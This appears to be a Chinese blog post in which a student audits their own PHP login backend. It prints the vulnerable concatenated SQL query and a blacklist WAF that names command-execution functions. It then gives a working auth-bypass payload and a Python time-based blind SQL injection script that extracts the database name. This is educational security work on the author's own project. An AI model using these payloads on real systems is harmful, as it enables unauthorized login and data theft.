上学期期末安卓设计的简单后端的审计
上学期期末安卓课程设计完成了安全辅助工具app,后端是用php写的,简单的实现了注册修改登录和一些命令执行的功能,对数据库的操作都是sql语句拼接的,虽然当时挂了网上找的防sql注入的waf并做了一些防命令注入的措施,但还是觉得不安全,想审计一下。
login.php关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $username = $_POST['username']; $password = $_POST['password']; //查询数据库 $query = "select * from user where UserName='$username' and Password='$password'"." limit 1"; $data1 = mysqli_query($conn, $query); $row = mysqli_num_rows($data1);//返回的行数 $data = array(); if($row > 0){ $data["code"] = 1; $data['message'] = "登录成功"; }else{ $data["code"] = 0; $data['message'] = "登录失败"; } echo json_encode($data,JSON_UNESCAPED_UNICODE); //关闭数据库 mysqli_close($conn);
没有任何防护,但在auto_prepend_file里加了网上找的waf waf关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex"; $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert"; $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore"; $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec"; $vpattern = explode("|",$pattern); $bool = false; foreach ($input as $k => $v) { foreach($vpattern as $value){ foreach ($v as $kk => $vv) { if (preg_match( "/$value/i", $vv )){ $bool = true; logging($input); break; } } if($bool) break; } if($bool) break; } } function logging($var){ //echo LOG_FILENAME; echo "含有非法字符串"; file_put_contents(LOG_FILENAME, "================================"."\r\n".date("Y-m-d H:i:s")."\r\n".print_r($var, true), FILE_APPEND); die(); # die() or unset($_GET) or unset($_POST) or unset($_COOKIE); } waf();
过滤了很多关键字和引号,但没有过滤\,发现了一个sql注入导致的万能登录 username=1&password=|| (1=1) # 既然有了注入点就继续研究下,发现可以在绕过waf的情况下进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #!/usr/bin/env python3 # -*- coding: UTF-8 -*- import requests import time r=requests.session() url='http://xxx.xxx.xxx.xxx/login.php' result = '' for i in range(1,8): for j in range(37,128): time1=time.time() username = "username=1\\" password="|| (1=1) && if(mid(database(),{0},1)={1},sleep(1),0);#".format(str(i),str(hex(j))) print (username+'&'+password) data = {"username":username,"password":password} html = r.post(url,data=data,timeout=10) time2=time.time() if time2-time1>2 : result += chr(j) print (result) break print (result)
爆出数据库名testdb 但这里过滤了单引号,也没有其他可以直接执行sql语句的地方,没办法写马
另外一处可能存在命令注入的地方绕不过ip正则……